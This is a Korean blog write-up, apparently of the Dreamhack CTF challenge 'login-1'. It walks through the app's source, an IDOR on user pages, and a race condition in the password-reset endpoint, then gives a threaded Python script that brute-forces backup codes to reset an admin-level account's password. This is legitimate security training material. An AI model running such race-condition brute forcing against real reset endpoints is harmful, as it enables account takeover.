본문 바로가기

모의해킹/Dreamhack

login-1

728x90

∙ 알고 있어야 하는 지식

- 레이스 컨디션 공격 기법

한정된 자원을 동시에 이용하려는 여러 프로세스가 자원의 이용을 위해 경쟁을 벌이는 현상을 이용하여 root 권한을 얻는 공격 기법이다.

 

 

문제 정보

로그인 페이지에서 admin으로 로그인을 하면 되는 문제이다..!

 

회원가입 페이지에서 admin계정이 만들어지고 로그인까지 된다,,,,? 아마도 Level에 있는 guest 부분이 admin으로 변경이 되어야지 flag 값이 출력이 될 것 같다..

 

∙ 소스코드 분석

userLevel = {
    0 : 'guest',
    1 : 'admin'
}

userLevel에 따라 guest, admin이 결정이 된다.

 

@app.route('/user/<int:useridx>')
def users(useridx):
    conn = get_db()
    cur = conn.cursor()
    user = cur.execute('SELECT * FROM user WHERE idx = ?;', [str(useridx)]).fetchone()
    
    if user:
        return render_template('user.html', user=user)

    return "<script>alert('User Not Found.');history.back(-1);</script>";

 

위 소스코드를 보면 user 경로에 useridx 값을 적어 보내면 아래와 같은 사진을 볼 수 있다.

useridx 값을 검증하지 않아 임의로 변경을 하였을 때 해당 다른 사람의 권한 및 계정 ID을 확인할 수 있다.

 

@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
    if request.method == 'GET':
        return render_template('forgot.html')
    else:
        userid = request.form.get("userid")
        newpassword = request.form.get("newpassword")
        backupCode = request.form.get("backupCode", type=int)

        conn = get_db()
        cur = conn.cursor()
        user = cur.execute('SELECT * FROM user WHERE id = ?', (userid,)).fetchone()
        if user:
            # security for brute force Attack.
            time.sleep(1)

            if user['resetCount'] == MAXRESETCOUNT:
                return "<script>alert('reset Count Exceed.');history.back(-1);</script>"
            
            if user['backupCode'] == backupCode:
                newbackupCode = makeBackupcode()
                updateSQL = "UPDATE user set pw = ?, backupCode = ?, resetCount = 0 where idx = ?"
                cur.execute(updateSQL, (hashlib.sha256(newpassword.encode()).hexdigest(), newbackupCode, str(user['idx'])))
                msg = f"<b>Password Change Success.</b><br/>New BackupCode : {newbackupCode}"

            else:
                updateSQL = "UPDATE user set resetCount = resetCount+1 where idx = ?"
                cur.execute(updateSQL, (str(user['idx'])))
                msg = f"Wrong BackupCode !<br/><b>Left Count : </b> {(MAXRESETCOUNT-1)-user['resetCount']}"
            
            conn.commit()
            return render_template("index.html", msg=msg)

        return "<script>alert('User Not Found.');history.back(-1);</script>";

/forget_password는 사용자가 비밀번호를 잊어버렸을 때 id, new password, backupCode를 입력하면 비밀번호를 변경해 준다.

여기서 발생하는 취약점인 sleep(1)을 걸어서 1초 내에 여러 접근이 발생할 경우 레이스 컨디션 취약점이 발생한다.

 

- 해당 익스코드

import requests
import threading


def forgot(url):
    for i in range(1, 101):
        data = {"userid": "coconut", "newpassword": "test", "backupCode": str(i)}
        th = threading.Thread(target=requests.post, args=(url, data))
        th.start()
        print(i)


if __name__ == "__main__":
    url = "http://host3.dreamhack.games:16166/forgot_password"
    forgot(url)

스레드로 100개의 작업을 backupCode을 바꿔서 요청을 보내면 1초 안에 test로 비밀번호가 변경이 된다.

 

userLevel이 admin인 계정으로 로그인을 할 수 있다..(여러 번 실패해서 coconut 게정,,,,)

 

/admin 경로로 이동을 하면 flag값을 얻을 수 있다.

'모의해킹 > Dreamhack' 카테고리의 다른 글

funjs  (0) 2023.11.13
weblog-1  (0) 2023.11.11
SSTI(취약점 개념)  (0) 2023.11.09
baby-union  (0) 2023.11.08
Type c-j  (0) 2023.11.06